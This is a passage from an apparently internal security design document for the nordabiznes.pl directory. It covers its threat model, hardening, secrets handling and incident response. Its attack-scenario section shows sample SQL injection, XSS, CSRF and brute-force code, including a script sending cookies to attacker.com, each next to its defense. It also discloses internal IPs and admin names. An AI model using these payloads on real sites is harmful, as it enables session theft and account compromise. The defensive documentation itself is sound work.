### 4.5 Data Security
|
|
|
|
#### 4.5.1 SQL Injection Prevention
|
|
|
|
**ORM Usage:** SQLAlchemy (parameterized queries)
|
|
|
|
**Safe Query Patterns:**
|
|
```python
|
|
# ✅ SAFE: Parameterized query (SQLAlchemy ORM)
|
|
user = db.query(User).filter(User.email == email).first()
|
|
|
|
# ✅ SAFE: Parameterized raw SQL
|
|
db.execute(text("SELECT * FROM users WHERE email = :email"), {"email": email})
|
|
|
|
# ❌ UNSAFE: String concatenation (NEVER USE)
|
|
# db.execute(f"SELECT * FROM users WHERE email = '{email}'")
|
|
```
|
|
|
|
**Full-Text Search (PostgreSQL):**
|
|
```python
|
|
# ✅ SAFE: FTS with plainto_tsquery (auto-escaping)
|
|
query = text("""
|
|
SELECT c.*, ts_rank(c.search_vector, plainto_tsquery('english', :query)) AS rank
|
|
FROM companies c
|
|
WHERE c.search_vector @@ plainto_tsquery('english', :query)
|
|
ORDER BY rank DESC
|
|
""")
|
|
results = db.execute(query, {"query": search_term}).fetchall()
|
|
```
|
|
|
|
**No Raw SQL Concatenation:**
|
|
- All queries use parameterized placeholders (`:param_name`)
|
|
- SQLAlchemy ORM handles escaping automatically
|
|
- Full-text search uses `plainto_tsquery()` (auto-escapes special characters)
|
|
|
|
#### 4.5.2 Password Storage
|
|
|
|
**Hashing Algorithm:** PBKDF2:SHA256
|
|
**Library:** `werkzeug.security`
|
|
**Iterations:** 600,000+ (werkzeug 3.0+ default)
|
|
**Salt:** Automatic random salt per password
|
|
|
|
**Implementation:**
|
|
```python
|
|
from werkzeug.security import generate_password_hash, check_password_hash
|
|
|
|
# Registration: Hash password
|
|
password_hash = generate_password_hash(password) # Auto-salted
|
|
|
|
# Login: Verify password
|
|
if check_password_hash(user.password_hash, password):
|
|
# Password correct
|
|
login_user(user)
|
|
```
|
|
|
|
**Hash Format:**
|
|
```
|
|
pbkdf2:sha256:600000$<salt>$<hash>
|
|
```
|
|
|
|
**Security Properties:**
|
|
- ✅ Salted (prevents rainbow table attacks)
|
|
- ✅ Slow hashing (prevents brute force)
|
|
- ✅ Industry-standard algorithm (PBKDF2)
|
|
- ✅ Automatic algorithm upgrades (werkzeug handles)
|
|
|
|
#### 4.5.3 Secrets Management
|
|
|
|
**Environment Variables (.env):**
|
|
```bash
|
|
# Database
|
|
DATABASE_URL=postgresql://nordabiz_app:PASSWORD@127.0.0.1:5432/nordabiz
|
|
|
|
# Flask
|
|
SECRET_KEY=<256-bit-random-key>
|
|
|
|
# API Keys
|
|
GOOGLE_GEMINI_API_KEY=<key>
|
|
GOOGLE_PAGESPEED_API_KEY=<key>
|
|
BRAVE_SEARCH_API_KEY=<key>
|
|
|
|
# Microsoft Graph OAuth
|
|
MS_CLIENT_ID=<client-id>
|
|
MS_CLIENT_SECRET=<client-secret>
|
|
MS_TENANT_ID=<tenant-id>
|
|
|
|
# Email
|
|
SMTP_HOST=smtp.office365.com
|
|
SMTP_PORT=587
|
|
SMTP_USER=noreply@nordabiznes.pl
|
|
SMTP_PASSWORD=<password>
|
|
```
|
|
|
|
**Secrets Storage:**
|
|
- **Development:** `.env` file (gitignored)
|
|
- **Production:** `.env` file on server (owned by www-data, mode 600)
|
|
- **Never committed to Git:** `.env` in `.gitignore`
|
|
|
|
**Secret Rotation:**
|
|
- ❌ No automatic rotation (manual process)
|
|
- ❌ No secret versioning (future improvement)
|
|
|
|
**Access Control:**
|
|
```bash
|
|
# Production secrets file permissions
|
|
-rw------- 1 www-data www-data .env # Mode 600 (owner read/write only)
|
|
```
|
|
|
|
---
|
|
|
|
## 5. Threat Model & Attack Surface
|
|
|
|
### 5.1 Threat Model (STRIDE)
|
|
|
|
| Threat Type | Attack Vector | Impact | Mitigation | Status |
|
|
|-------------|---------------|--------|------------|--------|
|
|
| **Spoofing** | User impersonation, session hijacking | High | HTTPS, secure cookies, session regeneration | ✅ Mitigated |
|
|
| **Tampering** | SQL injection, XSS, CSRF | High | SQLAlchemy ORM, input sanitization, CSRF tokens | ✅ Mitigated |
|
|
| **Repudiation** | User denies actions | Medium | Database audit logs (created_at, updated_at) | ⚠️ Partial |
|
|
| **Information Disclosure** | API key theft, database breach, session theft | High | HTTPS, .env files, localhost DB binding | ✅ Mitigated |
|
|
| **Denial of Service** | DDoS, resource exhaustion, API quota abuse | Medium | Rate limiting, Fortigate DDoS protection | ⚠️ Partial |
|
|
| **Elevation of Privilege** | Admin privilege escalation | High | Role-based access control, admin flag validation | ✅ Mitigated |
|
|
|
|
### 5.2 Attack Surface Analysis
|
|
|
|
#### 5.2.1 External Attack Surface (Internet-facing)
|
|
|
|
**NPM Reverse Proxy (10.22.68.250:443, :80):**
|
|
- **Exposed Services:** HTTPS (443), HTTP (80, redirects to HTTPS)
|
|
- **Attack Vectors:**
|
|
- DDoS attacks (mitigated by Fortigate)
|
|
- SSL/TLS vulnerabilities (mitigated by modern cipher suites)
|
|
- HTTP request smuggling (mitigated by NPM validation)
|
|
- **Mitigation:**
|
|
- Fortigate stateful firewall + DDoS protection
|
|
- Let's Encrypt TLS 1.2/1.3 only
|
|
- NPM request filtering ("block exploits" enabled)
|
|
|
|
**Public Endpoints:**
|
|
- `/` (Company directory)
|
|
- `/search` (Search functionality)
|
|
- `/company/<slug>` (Company profiles)
|
|
- `/audit/*/<slug>` (SEO, Social, GBP, IT audit reports)
|
|
- `/register`, `/login`, `/forgot-password` (Authentication)
|
|
|
|
**Attack Vectors:**
|
|
- SQL injection: **Mitigated** (SQLAlchemy ORM)
|
|
- XSS: **Mitigated** (input sanitization, Jinja2 auto-escape)
|
|
- CSRF: **Mitigated** (Flask-WTF)
|
|
- Brute force: **Mitigated** (rate limiting 5/hour)
|
|
- Account enumeration: **Partially mitigated** (generic error messages)
|
|
|
|
#### 5.2.2 Internal Attack Surface (Authenticated Users)
|
|
|
|
**User Dashboard & Features:**
|
|
- `/dashboard`, `/chat`, `/forum/*`, `/wiadomosci/*`, `/kalendarz/*`, `/tablica/*`
|
|
|
|
**Attack Vectors:**
|
|
- Privilege escalation: **Mitigated** (admin flag validation)
|
|
- IDOR (Insecure Direct Object Reference): **Partially mitigated** (owner checks needed)
|
|
- Session hijacking: **Mitigated** (secure cookies, HTTPS)
|
|
|
|
**Vulnerabilities:**
|
|
- ❌ No row-level security (users can view other users' messages if they know the ID)
|
|
- ❌ No rate limiting on message sending
|
|
- ❌ No spam detection on forum posts
|
|
|
|
#### 5.2.3 Admin Attack Surface (Admin Users)
|
|
|
|
**Admin Panels:**
|
|
- `/admin/*` (15+ admin panels)
|
|
- `/api/seo/audit`, `/api/gbp/audit`, `/api/social/audit` (POST)
|
|
|
|
**Attack Vectors:**
|
|
- Admin account compromise: **Mitigated** (strong password requirements)
|
|
- API quota abuse: **Mitigated** (rate limiting 10/hour)
|
|
- Cost overrun: **Mitigated** (client-side cost tracking, free tier monitoring)
|
|
|
|
**Vulnerabilities:**
|
|
- ❌ No 2FA for admin accounts
|
|
- ❌ No admin activity logging
|
|
- ❌ No admin session timeout (7-day session)
|
|
|
|
#### 5.2.4 Database Attack Surface
|
|
|
|
**PostgreSQL (10.22.68.249:5432):**
|
|
- **Binding:** Localhost only (127.0.0.1)
|
|
- **Authentication:** Password-based (pg_hba.conf)
|
|
- **Encryption:** SSL/TLS for connections (planned)
|
|
|
|
**Attack Vectors:**
|
|
- SQL injection: **Mitigated** (SQLAlchemy ORM)
|
|
- Unauthorized access: **Mitigated** (localhost binding, password auth)
|
|
- Data breach: **Partially mitigated** (no database encryption at rest)
|
|
|
|
**Vulnerabilities:**
|
|
- ❌ No database encryption at rest
|
|
- ❌ No database activity auditing
|
|
- ❌ No automated backup verification
|
|
|
|
#### 5.2.5 API Attack Surface (External APIs)
|
|
|
|
**Outbound API Calls:**
|
|
- Google Gemini AI, PageSpeed Insights, Places API
|
|
- Microsoft Graph API
|
|
- Brave Search API
|
|
- KRS Open API
|
|
|
|
**Attack Vectors:**
|
|
- API key theft: **Mitigated** (.env files, HTTPS only)
|
|
- Man-in-the-middle: **Mitigated** (HTTPS/TLS 1.2+)
|
|
- API quota abuse: **Mitigated** (rate limiting, cost tracking)
|
|
|
|
**Vulnerabilities:**
|
|
- ❌ API keys stored in plaintext (.env files)
|
|
- ❌ No API key rotation policy
|
|
- ❌ No secrets vault (e.g., HashiCorp Vault)
|
|
|
|
### 5.3 Common Attack Scenarios
|
|
|
|
#### 5.3.1 SQL Injection Attack
|
|
|
|
**Attack:**
|
|
```python
|
|
# Attacker input: email = "admin' OR '1'='1"
|
|
# UNSAFE query (NOT USED in our app):
|
|
# query = f"SELECT * FROM users WHERE email = '{email}'"
|
|
# Result: Returns all users (authentication bypass)
|
|
```
|
|
|
|
**Defense:**
|
|
```python
|
|
# ✅ SAFE: SQLAlchemy parameterized query
|
|
user = db.query(User).filter(User.email == email).first()
|
|
# SQLAlchemy escapes special characters automatically
|
|
```
|
|
|
|
**Status:** ✅ Mitigated (no raw SQL concatenation)
|
|
|
|
#### 5.3.2 XSS Attack
|
|
|
|
**Attack:**
|
|
```html
|
|
<!-- Attacker input: forum post = "<script>alert(document.cookie)</script>" -->
|
|
<!-- UNSAFE rendering (NOT USED in our app): -->
|
|
<!-- {{ user_post }} (unescaped) -->
|
|
<!-- Result: Executes JavaScript, steals cookies -->
|
|
```
|
|
|
|
**Defense:**
|
|
```python
|
|
# Input sanitization (before storage)
|
|
sanitized_post = sanitize_input(user_post) # Strips <script> tags
|
|
|
|
# Jinja2 auto-escaping (at rendering)
|
|
{{ user_post }} # Automatically escapes HTML entities
|
|
```
|
|
|
|
**Status:** ✅ Mitigated (sanitization + auto-escaping)
|
|
|
|
#### 5.3.3 CSRF Attack
|
|
|
|
**Attack:**
|
|
```html
|
|
<!-- Attacker's malicious website -->
|
|
<form action="https://nordabiznes.pl/admin/users/5/delete" method="POST">
|
|
<input type="submit" value="Click for prize!">
|
|
</form>
|
|
<!-- When admin clicks, their session cookie is sent, deleting user #5 -->
|
|
```
|
|
|
|
**Defense:**
|
|
```python
|
|
# Flask-WTF CSRF protection (automatic)
|
|
# All POST requests require valid CSRF token
|
|
@app.route('/admin/users/<id>/delete', methods=['POST'])
|
|
@login_required
|
|
def delete_user(id):
|
|
# CSRF token is validated before this code runs
|
|
if not current_user.is_admin:
|
|
abort(403)
|
|
|
|
# Delete user logic
|
|
pass
|
|
```
|
|
|
|
**Status:** ✅ Mitigated (Flask-WTF CSRF tokens)
|
|
|
|
#### 5.3.4 Brute Force Attack
|
|
|
|
**Attack:**
|
|
```python
|
|
# Attacker script: Try 10,000 passwords for admin@nordabiznes.pl
|
|
for password in password_list:
|
|
response = requests.post('https://nordabiznes.pl/login', data={
|
|
'email': 'admin@nordabiznes.pl',
|
|
'password': password
|
|
})
|
|
```
|
|
|
|
**Defense:**
|
|
```python
|
|
# Rate limiting: 5 login attempts per hour
|
|
@app.route('/login', methods=['POST'])
|
|
@limiter.limit("5 per hour")
|
|
def login():
|
|
# Login logic
|
|
pass
|
|
```
|
|
|
|
**Status:** ✅ Mitigated (rate limiting)
|
|
|
|
**Additional Defenses (Future):**
|
|
- ❌ Account lockout after N failed attempts
|
|
- ❌ CAPTCHA on login form
|
|
- ❌ 2FA for admin accounts
|
|
|
|
#### 5.3.5 Session Hijacking
|
|
|
|
**Attack:**
|
|
```javascript
|
|
// Attacker's XSS payload (if XSS exists)
|
|
document.location = 'https://attacker.com/steal?cookie=' + document.cookie;
|
|
```
|
|
|
|
**Defense:**
|
|
```python
|
|
# Session cookie security flags
|
|
app.config['SESSION_COOKIE_HTTPONLY'] = True # No JS access to cookies
|
|
app.config['SESSION_COOKIE_SECURE'] = True # HTTPS only
|
|
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax' # CSRF protection
|
|
```
|
|
|
|
**Status:** ✅ Mitigated (secure cookies + HTTPS)
|
|
|
|
---
|
|
|
|
## 6. Data Security
|
|
|
|
### 6.1 Data Classification
|
|
|
|
| Data Category | Sensitivity | Storage | Protection |
|
|
|---------------|-------------|---------|------------|
|
|
| **Public Company Data** | Public | PostgreSQL | None (publicly accessible) |
|
|
| **User Accounts** | Confidential | PostgreSQL | Password hashing, HTTPS |
|
|
| **Password Hashes** | Secret | PostgreSQL | PBKDF2:SHA256 (salted) |
|
|
| **Session Cookies** | Secret | Browser + Server | Encrypted, HttpOnly, Secure |
|
|
| **API Keys** | Secret | .env files | File permissions (600), HTTPS |
|
|
| **Email Addresses** | PII | PostgreSQL | HTTPS, access control |
|
|
| **Chat Messages** | Confidential | PostgreSQL | HTTPS, access control |
|
|
| **Forum Posts** | Public | PostgreSQL | Moderation |
|
|
| **Private Messages** | Confidential | PostgreSQL | HTTPS, sender/receiver validation |
|
|
| **Audit Reports** | Public | PostgreSQL | None (publicly accessible) |
|
|
| **Admin Logs** | Confidential | PostgreSQL | Admin-only access |
|
|
|
|
### 6.2 Data Encryption
|
|
|
|
**Encryption in Transit:**
|
|
- ✅ HTTPS/TLS 1.2+ for all external communication
|
|
- ✅ Let's Encrypt certificates (auto-renewal)
|
|
- ✅ HSTS enforcement (max-age=31536000)
|
|
- ❌ Internal communication (NPM → Flask) is HTTP (same network)
|
|
|
|
**Encryption at Rest:**
|
|
- ❌ PostgreSQL database is NOT encrypted at rest
|
|
- ❌ .env files are NOT encrypted (plaintext secrets)
|
|
- ❌ Session cookies are encrypted (Flask built-in)
|
|
|
|
**Future Improvements:**
|
|
- ⚠️ Enable PostgreSQL transparent data encryption (TDE)
|
|
- ⚠️ Use secrets vault (HashiCorp Vault, AWS Secrets Manager)
|
|
- ⚠️ Encrypt backups before storing
|
|
|
|
### 6.3 Data Retention & Deletion
|
|
|
|
**Retention Policies:**
|
|
- **User accounts:** Indefinite (until user requests deletion)
|
|
- **Chat messages:** Indefinite
|
|
- **Forum posts:** Indefinite (with soft delete)
|
|
- **Private messages:** Indefinite (until sender/receiver deletes)
|
|
- **Audit reports:** 90 days (automatic cleanup via cron job - planned)
|
|
- **Session cookies:** 7 days (automatic expiry)
|
|
- **Verification tokens:** 24 hours (email verification)
|
|
- **Password reset tokens:** 1 hour
|
|
|
|
**Data Deletion:**
|
|
- ❌ No GDPR "right to be forgotten" implementation
|
|
- ❌ No cascade deletion policy (orphaned records)
|
|
- ❌ No audit log retention policy
|
|
|
|
**Future Improvements:**
|
|
- ⚠️ Implement GDPR data deletion workflow
|
|
- ⚠️ Add cascade deletion for user accounts
|
|
- ⚠️ Create audit log retention policy (keep 1 year, then archive)
|
|
|
|
### 6.4 Sensitive Data Handling
|
|
|
|
**PII (Personally Identifiable Information):**
|
|
- Email addresses (users table)
|
|
- Names (users table)
|
|
- Phone numbers (users table, company_contacts table)
|
|
- Company NIP (companies table)
|
|
|
|
**Handling:**
|
|
- ✅ HTTPS for all PII transmission
|
|
- ✅ Access control (authenticated users only)
|
|
- ❌ No PII encryption at rest
|
|
- ❌ No PII masking in logs
|
|
|
|
**Logging:**
|
|
- ✅ Passwords are NEVER logged
|
|
- ✅ API keys are NEVER logged
|
|
- ⚠️ Email addresses may appear in logs (sanitization needed)
|
|
|
|
---
|
|
|
|
## 7. API Security
|
|
|
|
### 7.1 External API Integrations
|
|
|
|
**API Security Matrix:**
|
|
|
|
| API | Authentication | Rate Limit | Cost | Security Controls |
|
|
|-----|----------------|------------|------|-------------------|
|
|
| **Google Gemini AI** | API Key | 1,500 req/day (free) | $0 (free tier) | HTTPS, key in .env, cost tracking |
|
|
| **Google PageSpeed Insights** | API Key | 25,000 req/day (free) | $0 (free tier) | HTTPS, key in .env, quota tracking |
|
|
| **Google Places API** | API Key | Varies | Pay-per-use | HTTPS, key in .env, cost tracking |
|
|
| **Microsoft Graph API** | OAuth 2.0 | Varies | $0 (Exchange Online included) | HTTPS, client secret in .env, token refresh |
|
|
| **Brave Search API** | API Key | 2,000 req/month (free) | $0 (free tier) | HTTPS, key in .env, quota tracking |
|
|
| **KRS Open API** | None (public) | None | $0 | HTTPS only |
|
|
|
|
### 7.2 API Key Management
|
|
|
|
**Storage:**
|
|
- **Location:** `.env` file
|
|
- **Permissions:** 600 (owner read/write only)
|
|
- **Owner:** www-data (Flask app user)
|
|
|
|
**Best Practices:**
|
|
- ✅ API keys in .env (not hardcoded)
|
|
- ✅ .env in .gitignore (never committed)
|
|
- ✅ HTTPS for all API calls
|
|
- ❌ No API key rotation policy
|
|
- ❌ No secrets vault integration
|
|
|
|
**API Key Rotation:**
|
|
- Manual process (no automation)
|
|
- No versioning (immediate switch)
|
|
- Downtime risk (if key is rotated without updating .env)
|
|
|
|
**Future Improvements:**
|
|
- ⚠️ Implement secrets vault (HashiCorp Vault)
|
|
- ⚠️ Add API key rotation workflow
|
|
- ⚠️ Use short-lived API tokens (where supported)
|
|
|
|
### 7.3 API Rate Limiting & Cost Control
|
|
|
|
**Client-Side Rate Limiting:**
|
|
```python
|
|
# Example: Gemini API cost tracking
|
|
@limiter.limit("30 per minute")
|
|
@app.route('/api/chat/<id>/message', methods=['POST'])
|
|
@login_required
|
|
def send_chat_message(id):
|
|
# ... generate AI response ...
|
|
|
|
# Track API cost in database
|
|
cost_log = AIAPICostLog(
|
|
api_name='gemini',
|
|
model_name='gemini-3-flash-preview',
|
|
input_tokens=len(prompt),
|
|
output_tokens=len(response),
|
|
cost_usd=0.0, # Free tier
|
|
endpoint='/api/chat'
|
|
)
|
|
db.add(cost_log)
|
|
db.commit()
|
|
```
|
|
|
|
**Rate Limiting Strategy:**
|
|
- **Client-side:** Flask-Limiter (prevent abuse)
|
|
- **Server-side:** API provider rate limits (enforced by provider)
|
|
|
|
**Cost Monitoring:**
|
|
- ✅ Database logging (ai_api_costs table)
|
|
- ✅ Admin dashboard (`/admin/chat-analytics`)
|
|
- ❌ No alerting on cost overruns
|
|
- ❌ No automatic shutdown on quota exceeded
|
|
|
|
**Free Tier Monitoring:**
|
|
- Gemini: 1,500 requests/day (current usage: ~50/day)
|
|
- PageSpeed: 25,000 requests/day (current usage: ~10/day)
|
|
- Brave: 2,000 requests/month (current usage: ~50/month)
|
|
|
|
### 7.4 OAuth 2.0 Security (Microsoft Graph)
|
|
|
|
**Authentication Flow:**
|
|
1. Application obtains client credentials (CLIENT_ID, CLIENT_SECRET)
|
|
2. Application requests access token from Microsoft
|
|
3. Access token used to send emails via Graph API
|
|
4. Token expires after 1 hour (automatic refresh)
|
|
|
|
**Security Controls:**
|
|
- ✅ Client secret stored in .env
|
|
- ✅ HTTPS for all OAuth requests
|
|
- ✅ Access token stored in memory (not database)
|
|
- ✅ Token expiry enforcement (1 hour)
|
|
- ❌ No token revocation on logout
|
|
|
|
**Permissions Granted:**
|
|
- `Mail.Send` (application permission, not delegated)
|
|
- Allows sending email as noreply@nordabiznes.pl
|
|
- No user impersonation (application-only auth)
|
|
|
|
---
|
|
|
|
## 8. Infrastructure Security
|
|
|
|
### 8.1 Network Security
|
|
|
|
**Firewall Configuration (Fortigate):**
|
|
```
|
|
# Inbound rules
|
|
allow tcp/443 from ANY to 10.22.68.250 # HTTPS to NPM
|
|
allow tcp/80 from ANY to 10.22.68.250 # HTTP to NPM
|
|
allow tcp/22 from ADMIN_NET to 10.22.68.249 # SSH (admin only)
|
|
deny all from ANY to ANY # Default deny
|
|
|
|
# Outbound rules
|
|
allow tcp/443 from 10.22.68.249 to ANY # API calls (HTTPS)
|
|
allow tcp/80 from 10.22.68.249 to ANY # HTTP (rare)
|
|
deny all from 10.22.68.250 to ANY # NPM cannot initiate outbound
|
|
```
|
|
|
|
**NAT Rules:**
|
|
```
|
|
# Public IP → DMZ (reverse proxy)
|
|
85.237.177.83:443 → 10.22.68.250:443
|
|
85.237.177.83:80 → 10.22.68.250:80
|
|
```
|
|
|
|
**Network Segmentation:**
|
|
- **DMZ Zone:** 10.22.68.250 (NPM only)
|
|
- **Application Zone:** 10.22.68.249 (Flask + PostgreSQL)
|
|
- **Internal Services:** 10.22.68.180 (Git server)
|
|
|
|
**Network Security Best Practices:**
|
|
- ✅ Default deny firewall policy
|
|
- ✅ Network segmentation (DMZ vs App zone)
|
|
- ✅ NAT for public access (no direct Internet to app server)
|
|
- ❌ No IDS/IPS (Intrusion Detection/Prevention System)
|
|
- ❌ No network traffic monitoring (future improvement)
|
|
|
|
### 8.2 SSH Access Control
|
|
|
|
**SSH Configuration:**
|
|
- **Port:** 22 (default)
|
|
- **Access:** Restricted to ADMIN_NET (firewall rule)
|
|
- **Authentication:** SSH key-based (password auth disabled)
|
|
- **Users:** maciejpi (primary admin), www-data (app deployment)
|
|
|
|
**SSH Hardening:**
|
|
```bash
|
|
# /etc/ssh/sshd_config
|
|
PermitRootLogin no # Disable root login
|
|
PasswordAuthentication no # Key-based auth only
|
|
PubkeyAuthentication yes # Allow SSH keys
|
|
X11Forwarding no # Disable X11
|
|
AllowUsers maciejpi www-data # Whitelist users
|
|
```
|
|
|
|
**SSH Key Management:**
|
|
- ✅ SSH keys stored on admin workstations (not on server)
|
|
- ✅ Unique SSH keys per user
|
|
- ❌ No SSH key rotation policy
|
|
- ❌ No centralized SSH key management
|
|
|
|
### 8.3 Server Hardening
|
|
|
|
**Operating System:**
|
|
- Ubuntu Server 22.04 LTS (long-term support)
|
|
- Automatic security updates enabled
|
|
|
|
**Installed Services:**
|
|
- ✅ Flask/Gunicorn (application server)
|
|
- ✅ PostgreSQL (database)
|
|
- ✅ Nginx (system default, minimal use)
|
|
- ✅ SSH (remote administration)
|
|
|
|
**Unnecessary Services Disabled:**
|
|
- ✅ No FTP server
|
|
- ✅ No Telnet
|
|
- ✅ No SNMP (if not needed for monitoring)
|
|
|
|
**File Permissions:**
|
|
```bash
|
|
# Application directory
|
|
/var/www/nordabiznes/ # Owner: www-data, Mode: 755
|
|
/var/www/nordabiznes/.env # Owner: www-data, Mode: 600 (secrets)
|
|
/var/www/nordabiznes/app.py # Owner: www-data, Mode: 644
|
|
|
|
# Database directory
|
|
/var/lib/postgresql/ # Owner: postgres, Mode: 700
|
|
```
|
|
|
|
**User Separation:**
|
|
- **www-data:** Flask application (limited privileges)
|
|
- **postgres:** PostgreSQL database (limited privileges)
|
|
- **maciejpi:** Admin user (sudo access)
|
|
|
|
### 8.4 Database Security
|
|
|
|
**PostgreSQL Configuration:**
|
|
```bash
|
|
# /etc/postgresql/14/main/postgresql.conf
|
|
listen_addresses = 'localhost' # Bind to 127.0.0.1 only
|
|
max_connections = 100 # Limit concurrent connections
|
|
ssl = on # Enable SSL (planned)
|
|
ssl_cert_file = '/path/to/cert.pem' # SSL certificate (planned)
|
|
ssl_key_file = '/path/to/key.pem' # SSL private key (planned)
|
|
```
|
|
|
|
**Authentication (pg_hba.conf):**
|
|
```bash
|
|
# TYPE DATABASE USER ADDRESS METHOD
|
|
local all postgres peer
|
|
local nordabiz nordabiz_app md5
|
|
host nordabiz nordabiz_app 127.0.0.1/32 md5
|
|
host all all 0.0.0.0/0 reject # Deny remote
|
|
```
|
|
|
|
**Database Users:**
|
|
- **postgres:** Superuser (local admin only)
|
|
- **nordabiz_app:** Application user (limited to nordabiz database)
|
|
|
|
**Database Permissions:**
|
|
```sql
|
|
-- nordabiz_app user permissions
|
|
GRANT CONNECT ON DATABASE nordabiz TO nordabiz_app;
|
|
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO nordabiz_app;
|
|
GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO nordabiz_app;
|
|
```
|
|
|
|
**Database Backups:**
|
|
- **Frequency:** Daily (via Proxmox snapshots)
|
|
- **Retention:** 7 days (rolling)
|
|
- **Encryption:** ❌ Not encrypted
|
|
- **Offsite:** ❌ Not implemented
|
|
|
|
---
|
|
|
|
## 9. Security Monitoring
|
|
|
|
### 9.1 Logging
|
|
|
|
**Application Logs:**
|
|
```python
|
|
# app.py logging configuration
|
|
import logging
|
|
|
|
logging.basicConfig(
|
|
level=logging.INFO,
|
|
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
|
|
handlers=[
|
|
logging.FileHandler('/var/log/nordabiznes/app.log'),
|
|
logging.StreamHandler()
|
|
]
|
|
)
|
|
```
|
|
|
|
**Log Levels:**
|
|
- **INFO:** Normal operations (user login, API calls)
|
|
- **WARNING:** Unexpected events (rate limit exceeded, API errors)
|
|
- **ERROR:** Application errors (database connection failed, external API timeout)
|
|
- **CRITICAL:** System failures (database crash, service unavailable)
|
|
|
|
**Logged Events:**
|
|
- ✅ User authentication (login, logout, failed login)
|
|
- ✅ Admin actions (user management, audit scans)
|
|
- ✅ API calls (Gemini, PageSpeed, etc.)
|
|
- ✅ Database errors
|
|
- ❌ CSRF token violations (not logged)
|
|
- ❌ Rate limit violations (not logged)
|
|
|
|
**Log Storage:**
|
|
- **Location:** `/var/log/nordabiznes/app.log`
|
|
- **Rotation:** Daily (via logrotate)
|
|
- **Retention:** 30 days
|
|
- **Permissions:** 640 (owner read/write, group read)
|
|
|
|
### 9.2 Monitoring & Alerting
|
|
|
|
**Health Checks:**
|
|
```python
|
|
@app.route('/health')
|
|
def health():
|
|
"""Health check endpoint for monitoring"""
|
|
try:
|
|
# Check database connection
|
|
db.execute(text("SELECT 1"))
|
|
return jsonify({"status": "healthy", "database": "ok"}), 200
|
|
except Exception as e:
|
|
return jsonify({"status": "unhealthy", "error": str(e)}), 500
|
|
```
|
|
|
|
**Monitoring Tools:**
|
|
- ❌ No Zabbix integration (planned)
|
|
- ❌ No uptime monitoring (planned)
|
|
- ❌ No performance monitoring (APM)
|
|
|
|
**Alerts:**
|
|
- ❌ No alerting on service downtime
|
|
- ❌ No alerting on database errors
|
|
- ❌ No alerting on API quota exceeded
|
|
- ❌ No alerting on security events (failed logins, CSRF violations)
|
|
|
|
**Future Improvements:**
|
|
- ⚠️ Implement Zabbix monitoring (service uptime, resource usage)
|
|
- ⚠️ Add alerting on critical errors (email or Slack)
|
|
- ⚠️ Implement security event logging (SIEM integration)
|
|
|
|
### 9.3 Audit Trails
|
|
|
|
**Database Audit Fields:**
|
|
```sql
|
|
-- All tables include:
|
|
created_at TIMESTAMP DEFAULT NOW() -- Creation timestamp
|
|
updated_at TIMESTAMP DEFAULT NOW() -- Last update timestamp
|
|
|
|
-- User actions include:
|
|
created_by INTEGER REFERENCES users(id) -- Creator (forum posts, messages)
|
|
moderated_by INTEGER -- Moderator (admin actions)
|
|
moderated_at TIMESTAMP -- Moderation timestamp
|
|
```
|
|
|
|
**Auditable Events:**
|
|
- ✅ User registration (created_at)
|
|
- ✅ User login (last_login)
|
|
- ✅ Forum post creation (created_at, author_id)
|
|
- ✅ Admin actions (moderated_by, moderated_at)
|
|
- ✅ Audit scans (audited_at)
|
|
- ❌ Password changes (not logged)
|
|
- ❌ Permission changes (not logged)
|
|
- ❌ Failed login attempts (not logged)
|
|
|
|
**Audit Log Retention:**
|
|
- ❌ No dedicated audit log table
|
|
- ❌ No audit log retention policy
|
|
- ❌ No audit log archival
|
|
|
|
---
|
|
|
|
## 10. Incident Response
|
|
|
|
### 10.1 Incident Response Plan
|
|
|
|
**Incident Categories:**
|
|
1. **Security Breach** (unauthorized access, data leak)
|
|
2. **Service Outage** (application down, database crash)
|
|
3. **Performance Degradation** (slow response, high CPU)
|
|
4. **API Abuse** (quota exceeded, cost overrun)
|
|
|
|
**Response Workflow:**
|
|
```mermaid
|
|
graph LR
|
|
Detect["🔍 Detect<br/>Incident"] --> Assess["📊 Assess<br/>Severity"]
|
|
Assess --> Contain["🛡️ Contain<br/>Threat"]
|
|
Contain --> Investigate["🔎 Investigate<br/>Root Cause"]
|
|
Investigate --> Remediate["🔧 Remediate<br/>Issue"]
|
|
Remediate --> Document["📝 Document<br/>Incident"]
|
|
Document --> Review["🔄 Post-Mortem<br/>Review"]
|
|
|
|
style Detect fill:#f59e0b,color:#fff
|
|
style Contain fill:#ef4444,color:#fff
|
|
style Remediate fill:#10b981,color:#fff
|
|
```
|
|
|
|
### 10.2 Incident Response Procedures
|
|
|
|
#### 10.2.1 Security Breach
|
|
|
|
**Detection:**
|
|
- Unusual database activity
|
|
- Failed login attempts spike
|
|
- Unauthorized admin actions
|
|
- API key usage anomalies
|
|
|
|
**Containment:**
|
|
```bash
|
|
# 1. Disable affected user accounts
|
|
sudo -u postgres psql nordabiz -c "UPDATE users SET is_active = FALSE WHERE id = <user_id>;"
|
|
|
|
# 2. Rotate API keys immediately
|
|
# Edit .env file with new keys
|
|
vim /var/www/nordabiznes/.env
|
|
|
|
# 3. Restart application
|
|
sudo systemctl restart nordabiznes
|
|
|
|
# 4. Review access logs
|
|
sudo journalctl -u nordabiznes --since "1 hour ago" | grep -i "failed\|error\|unauthorized"
|
|
```
|
|
|
|
**Investigation:**
|
|
- Check application logs (`/var/log/nordabiznes/app.log`)
|
|
- Check database audit trails (`SELECT * FROM users WHERE updated_at > NOW() - INTERVAL '1 hour'`)
|
|
- Check NPM access logs (NPM admin UI)
|
|
|
|
**Remediation:**
|
|
- Reset passwords for compromised accounts
|
|
- Review and tighten access controls
|
|
- Patch vulnerabilities (if found)
|
|
- Notify affected users (if PII exposed)
|
|
|
|
#### 10.2.2 Service Outage
|
|
|
|
**Detection:**
|
|
- Health check endpoint returns 500
|
|
- Users report "site is down"
|
|
- NPM shows "502 Bad Gateway"
|
|
|
|
**Diagnosis:**
|
|
```bash
|
|
# 1. Check application status
|
|
sudo systemctl status nordabiznes
|
|
|
|
# 2. Check database status
|
|
sudo systemctl status postgresql
|
|
|
|
# 3. Check NPM status (on 10.22.68.250)
|
|
ssh maciejpi@10.22.68.250
|
|
docker ps | grep npm
|
|
|
|
# 4. Check network connectivity
|
|
ping 10.22.68.249
|
|
curl http://10.22.68.249:5000/health
|
|
```
|
|
|
|
**Recovery:**
|
|
```bash
|
|
# 1. Restart Flask/Gunicorn
